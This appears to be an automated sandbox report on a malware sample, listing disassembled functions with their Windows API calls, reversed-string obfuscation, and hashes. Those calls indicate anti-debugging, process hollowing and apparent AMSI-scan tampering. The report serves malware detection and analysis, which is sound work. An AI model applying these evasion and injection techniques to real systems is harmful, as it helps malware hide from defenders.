                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: AddressCheckDebuggerHandleModulePresentProcRemote
                                                                                                                                                                      • String ID: CheckRemoteDebuggerPresent$KernelBase
                                                                                                                                                                      • API String ID: 35162468-539270669
                                                                                                                                                                      • Opcode ID: 8b597f9e60e357e2c8b29842ba4fd6c9d535d86d77ee17d26a47146286c27111
                                                                                                                                                                      • Instruction ID: c5873c43df87180156dcd6db0c5f9fdfd2910fd8a801148bbefc7610edc6959d
                                                                                                                                                                      • Opcode Fuzzy Hash: 8b597f9e60e357e2c8b29842ba4fd6c9d535d86d77ee17d26a47146286c27111
                                                                                                                                                                      • Instruction Fuzzy Hash: 96F0A03090464DBEEB12B6A888987ECFBAD9B0532CF6407A4A424B21C1E7711780C6A1
                                                                                                                                                                      Function 02CADBA8 Relevance: 7.6, APIs: 5, Instructions: 80nativefileCOMMON
                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 02C94ECC: SysAllocStringLen.OLEAUT32(?,?), ref: 02C94EDA
                                                                                                                                                                      • RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,02CADC78), ref: 02CADBE3
                                                                                                                                                                      • NtOpenFile.N(?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000,02CADC78), ref: 02CADC13
                                                                                                                                                                      • NtQueryInformationFile.N(?,?,?,00000018,00000005,?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000), ref: 02CADC28
                                                                                                                                                                      • NtReadFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?,00100001), ref: 02CADC54
                                                                                                                                                                      • NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?), ref: 02CADC5D
                                                                                                                                                                        • Part of subcall function 02C94C0C: SysFreeString.OLEAUT32(02CAE948), ref: 02C94C1A
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: File$PathString$AllocCloseFreeInformationNameName_OpenQueryRead
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 1897104825-0
                                                                                                                                                                      • Opcode ID: ca65a266333266a6ca71d98db22aa7bf49d39164cdd0a53061cab38c91da1adb
                                                                                                                                                                      • Instruction ID: f752d58c2d53d1655d121a270eabb970fa9628f85b6bf8c331eba5812e4818f8
                                                                                                                                                                      • Opcode Fuzzy Hash: ca65a266333266a6ca71d98db22aa7bf49d39164cdd0a53061cab38c91da1adb
                                                                                                                                                                      • Instruction Fuzzy Hash: 1B210371A40309BBEB15EAE4CC56FDEB7BDAB08B04F500561B601F71C0D6B4AA059B95
                                                                                                                                                                      Function 02CAE2F0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 111networkCOMMON
                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                      APIs
                                                                                                                                                                      • InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 02CAE42E
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: CheckConnectionInternet
                                                                                                                                                                      • String ID: Initialize$OpenSession$ScanBuffer
                                                                                                                                                                      • API String ID: 3847983778-3852638603
                                                                                                                                                                      • Opcode ID: 2cd1c73fde7fd90dff57a62f10b5e8e1d9031b09debe91318eb23bea6f220d8f
                                                                                                                                                                      • Instruction ID: 4b9ff49dfd0d4e288524bdb15423916dc34bb4f6d4f5f53a114dcf187ce90c7f
                                                                                                                                                                      • Opcode Fuzzy Hash: 2cd1c73fde7fd90dff57a62f10b5e8e1d9031b09debe91318eb23bea6f220d8f
                                                                                                                                                                      • Instruction Fuzzy Hash: 90411A71A501099FEF24EBE4C8A5ADEB7FEEF48718F214436E041A7240DA74AD02DF54
                                                                                                                                                                      Function 02CADAC4 Relevance: 6.1, APIs: 4, Instructions: 80nativefileCOMMON
                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 02C94ECC: SysAllocStringLen.OLEAUT32(?,?), ref: 02C94EDA
                                                                                                                                                                      • RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,02CADB96), ref: 02CADB03
                                                                                                                                                                      • NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 02CADB3D
                                                                                                                                                                      • NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 02CADB6A
                                                                                                                                                                      • NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 02CADB73
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: FilePath$AllocCloseCreateNameName_StringWrite
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 3764614163-0
                                                                                                                                                                      • Opcode ID: 581e507639df3122f51a2e20743c1de5d5ff013deb6fd233d5ad362b7730710d
                                                                                                                                                                      • Instruction ID: 011fbfce847c115bf955564780d639c0199cdb881d1d27bec37894ac21fb2c63
                                                                                                                                                                      • Opcode Fuzzy Hash: 581e507639df3122f51a2e20743c1de5d5ff013deb6fd233d5ad362b7730710d
                                                                                                                                                                      • Instruction Fuzzy Hash: 47211A71A40309BAEB24EAE4DC56F9EB7BDAB04B04F604161B601F75C0D7B0AE05DAA5
                                                                                                                                                                      Function 02CA85D4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 62processCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 02CA8018: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02CA8088,?,?,00000000,?,02CA79FE,ntdll,00000000,00000000,02CA7A43,?,?,00000000), ref: 02CA8056
                                                                                                                                                                        • Part of subcall function 02CA8018: GetModuleHandleA.KERNELBASE(?), ref: 02CA806A
                                                                                                                                                                        • Part of subcall function 02CA80C0: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02CA8148,?,?,00000000,00000000,?,02CA8061,00000000,KernelBASE,00000000,00000000,02CA8088), ref: 02CA810D
                                                                                                                                                                        • Part of subcall function 02CA80C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02CA8113
                                                                                                                                                                        • Part of subcall function 02CA80C0: GetProcAddress.KERNEL32(?,?), ref: 02CA8125
                                                                                                                                                                      • CreateProcessAsUserW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,Kernel32,00000000,00000000,00000000), ref: 02CA8660
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: HandleModule$AddressProc$CreateProcessUser
                                                                                                                                                                      • String ID: CreateProcessAsUserW$Kernel32
                                                                                                                                                                      • API String ID: 3130163322-2353454454
                                                                                                                                                                      • Opcode ID: 38ea65a7b3d50ea9089eeb63c998bf63ba09bc2667743a8592ab27fd0bee3b59
                                                                                                                                                                      • Instruction ID: 19eb3a7cc4ab6469d4f13f1cb6b346524a78a2d84fb33d7306f1fa1e3aacd2b7
                                                                                                                                                                      • Opcode Fuzzy Hash: 38ea65a7b3d50ea9089eeb63c998bf63ba09bc2667743a8592ab27fd0bee3b59
                                                                                                                                                                      • Instruction Fuzzy Hash: 301100B2640209AFEB90EFACCC61F9A77EDEB0C704F524620BA08D3600C674E9109B60
                                                                                                                                                                      Function 02CA79AA Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52memorynativeCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 02CA8018: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02CA8088,?,?,00000000,?,02CA79FE,ntdll,00000000,00000000,02CA7A43,?,?,00000000), ref: 02CA8056
                                                                                                                                                                        • Part of subcall function 02CA8018: GetModuleHandleA.KERNELBASE(?), ref: 02CA806A
                                                                                                                                                                        • Part of subcall function 02CA80C0: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02CA8148,?,?,00000000,00000000,?,02CA8061,00000000,KernelBASE,00000000,00000000,02CA8088), ref: 02CA810D
                                                                                                                                                                        • Part of subcall function 02CA80C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02CA8113
                                                                                                                                                                        • Part of subcall function 02CA80C0: GetProcAddress.KERNEL32(?,?), ref: 02CA8125
                                                                                                                                                                      • NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02CA7A1F
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: HandleModule$AddressProc$AllocateMemoryVirtual
                                                                                                                                                                      • String ID: ntdll$yromeMlautriVetacollAwZ
                                                                                                                                                                      • API String ID: 4072585319-445027087
                                                                                                                                                                      • Opcode ID: 15ec6cadc689d5b48b2348f0bc595b0307622d0d267c35a3ce7a850ca49dd8e4
                                                                                                                                                                      • Instruction ID: 60ce0eb4b2f318508f9e0b144b075c1a87fe26e5dad574a1c4427de71ef1a00b
                                                                                                                                                                      • Opcode Fuzzy Hash: 15ec6cadc689d5b48b2348f0bc595b0307622d0d267c35a3ce7a850ca49dd8e4
                                                                                                                                                                      • Instruction Fuzzy Hash: 63116975640209BFEB10EFA4DC61FAEB7AEFB48714F414421B909D7600DA70AE19DB60
                                                                                                                                                                      Function 02CA79AC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 51memorynativeCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 02CA8018: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02CA8088,?,?,00000000,?,02CA79FE,ntdll,00000000,00000000,02CA7A43,?,?,00000000), ref: 02CA8056
                                                                                                                                                                        • Part of subcall function 02CA8018: GetModuleHandleA.KERNELBASE(?), ref: 02CA806A
                                                                                                                                                                        • Part of subcall function 02CA80C0: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02CA8148,?,?,00000000,00000000,?,02CA8061,00000000,KernelBASE,00000000,00000000,02CA8088), ref: 02CA810D
                                                                                                                                                                        • Part of subcall function 02CA80C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02CA8113
                                                                                                                                                                        • Part of subcall function 02CA80C0: GetProcAddress.KERNEL32(?,?), ref: 02CA8125
                                                                                                                                                                      • NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02CA7A1F
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: HandleModule$AddressProc$AllocateMemoryVirtual
                                                                                                                                                                      • String ID: ntdll$yromeMlautriVetacollAwZ
                                                                                                                                                                      • API String ID: 4072585319-445027087
                                                                                                                                                                      • Opcode ID: 215ddd634da6d9490bb5596ccf705bbc7b6112d71c64d4fefe84f636641c4c52
                                                                                                                                                                      • Instruction ID: 49407db81536667f12c00bcb90e0055dd59831cc63ff57b18a1cf26f8e383fa7
                                                                                                                                                                      • Opcode Fuzzy Hash: 215ddd634da6d9490bb5596ccf705bbc7b6112d71c64d4fefe84f636641c4c52
                                                                                                                                                                      • Instruction Fuzzy Hash: FA118C75640209BFEB10EFA4DC61F9EB7AEFB48714F414421B909D7600DA70AE19DB60
                                                                                                                                                                      Function 02CA824C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50nativeCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 02CA8018: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02CA8088,?,?,00000000,?,02CA79FE,ntdll,00000000,00000000,02CA7A43,?,?,00000000), ref: 02CA8056
                                                                                                                                                                        • Part of subcall function 02CA8018: GetModuleHandleA.KERNELBASE(?), ref: 02CA806A
                                                                                                                                                                        • Part of subcall function 02CA80C0: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02CA8148,?,?,00000000,00000000,?,02CA8061,00000000,KernelBASE,00000000,00000000,02CA8088), ref: 02CA810D
                                                                                                                                                                        • Part of subcall function 02CA80C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02CA8113
                                                                                                                                                                        • Part of subcall function 02CA80C0: GetProcAddress.KERNEL32(?,?), ref: 02CA8125
                                                                                                                                                                      • NtReadVirtualMemory.NTDLL(?,?,?,?,?), ref: 02CA82BD
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: HandleModule$AddressProc$MemoryReadVirtual
                                                                                                                                                                      • String ID: ntdll$yromeMlautriVdaeRtN
                                                                                                                                                                      • API String ID: 2521977463-737317276
                                                                                                                                                                      • Opcode ID: 2269f616aa3a460ff82f95782896d25274a4b9bed2d71b376a8225510d85c1db
                                                                                                                                                                      • Instruction ID: 140242833b376edeb60f710eec7a75461baa20b0cace5d4e8d7d49ca557471f8
                                                                                                                                                                      • Opcode Fuzzy Hash: 2269f616aa3a460ff82f95782896d25274a4b9bed2d71b376a8225510d85c1db
                                                                                                                                                                      • Instruction Fuzzy Hash: 6A018C75600209AFEB10EFA8D861FAEB7EEEB48708F414620F508D7600C670AD15DB64
                                                                                                                                                                      Function 02CA7CF8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49nativeCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 02CA8018: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02CA8088,?,?,00000000,?,02CA79FE,ntdll,00000000,00000000,02CA7A43,?,?,00000000), ref: 02CA8056
                                                                                                                                                                        • Part of subcall function 02CA8018: GetModuleHandleA.KERNELBASE(?), ref: 02CA806A
                                                                                                                                                                        • Part of subcall function 02CA80C0: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02CA8148,?,?,00000000,00000000,?,02CA8061,00000000,KernelBASE,00000000,00000000,02CA8088), ref: 02CA810D
                                                                                                                                                                        • Part of subcall function 02CA80C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02CA8113
                                                                                                                                                                        • Part of subcall function 02CA80C0: GetProcAddress.KERNEL32(?,?), ref: 02CA8125
                                                                                                                                                                      • NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02CA7D6C
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: HandleModule$AddressProc$MemoryVirtualWrite
                                                                                                                                                                      • String ID: Ntdll$yromeMlautriVetirW
                                                                                                                                                                      • API String ID: 2719805696-3542721025
                                                                                                                                                                      • Opcode ID: 105612631d7eb1b83157c69a6162a96c2f082a075d06f71ae75f87a0fb2035b0
                                                                                                                                                                      • Instruction ID: 2fa78e2eba88c14ef13e420768db38e355314426bbf5f99e02c3da7100270df7
                                                                                                                                                                      • Opcode Fuzzy Hash: 105612631d7eb1b83157c69a6162a96c2f082a075d06f71ae75f87a0fb2035b0
                                                                                                                                                                      • Instruction Fuzzy Hash: C4019274A00209AFDB50EFA8D865E9FB7EDFB4C704F514461B508D3680C670A919DF60
                                                                                                                                                                      Function 02CA84BC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 43nativeCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 02CA8018: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02CA8088,?,?,00000000,?,02CA79FE,ntdll,00000000,00000000,02CA7A43,?,?,00000000), ref: 02CA8056
                                                                                                                                                                        • Part of subcall function 02CA8018: GetModuleHandleA.KERNELBASE(?), ref: 02CA806A
                                                                                                                                                                        • Part of subcall function 02CA80C0: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02CA8148,?,?,00000000,00000000,?,02CA8061,00000000,KernelBASE,00000000,00000000,02CA8088), ref: 02CA810D
                                                                                                                                                                        • Part of subcall function 02CA80C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02CA8113
                                                                                                                                                                        • Part of subcall function 02CA80C0: GetProcAddress.KERNEL32(?,?), ref: 02CA8125
                                                                                                                                                                      • NtUnmapViewOfSection.NTDLL(?,?), ref: 02CA8521
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: HandleModule$AddressProc$SectionUnmapView
                                                                                                                                                                      • String ID: noitceSfOweiVpamnUtN$ntdll
                                                                                                                                                                      • API String ID: 3503870465-2520021413
                                                                                                                                                                      • Opcode ID: 1e2d1290ab925a1a3ebfb90c90267be6735c4e95cf1632f9af9163ca00e16b49
                                                                                                                                                                      • Instruction ID: 4f41e3af7e50ad49e88b5e1ee2b9db2ac87abbfd4c4328962d1d5eb4718b5f53
                                                                                                                                                                      • Opcode Fuzzy Hash: 1e2d1290ab925a1a3ebfb90c90267be6735c4e95cf1632f9af9163ca00e16b49
                                                                                                                                                                      • Instruction Fuzzy Hash: A601A274644209AFEF14EFA4D865F5EB7AEEB49718F518920B508D7600CA70A905EB60
                                                                                                                                                                      Function 02CAD9E8 Relevance: 4.5, APIs: 3, Instructions: 47filenativeCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • RtlInitUnicodeString.NTDLL(?,?), ref: 02CADA64
                                                                                                                                                                      • RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,02CADAB6), ref: 02CADA7A
                                                                                                                                                                      • NtDeleteFile.NTDLL(?), ref: 02CADA99
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Path$DeleteFileInitNameName_StringUnicode
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 1459852867-0
                                                                                                                                                                      • Opcode ID: 160f249ae71ad4284d9e4f1e874771e823c7ec7ede4e1f51283b39d7a8e2991b
                                                                                                                                                                      • Instruction ID: d128c872e37e3e88ac2b6a763b85b81c9529bf99858fc77c9a3a47d9386678e4
                                                                                                                                                                      • Opcode Fuzzy Hash: 160f249ae71ad4284d9e4f1e874771e823c7ec7ede4e1f51283b39d7a8e2991b
                                                                                                                                                                      • Instruction Fuzzy Hash: E5016275988349AEEF05E7A0C961BCD77BDAB44708F5040A2E203E6481DA74AF05DB21
                                                                                                                                                                      Function 02CADA3C Relevance: 4.5, APIs: 3, Instructions: 45filenativeCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 02C94ECC: SysAllocStringLen.OLEAUT32(?,?), ref: 02C94EDA
                                                                                                                                                                      • RtlInitUnicodeString.NTDLL(?,?), ref: 02CADA64
                                                                                                                                                                      • RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,02CADAB6), ref: 02CADA7A
                                                                                                                                                                      • NtDeleteFile.NTDLL(?), ref: 02CADA99
                                                                                                                                                                        • Part of subcall function 02C94C0C: SysFreeString.OLEAUT32(02CAE948), ref: 02C94C1A
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
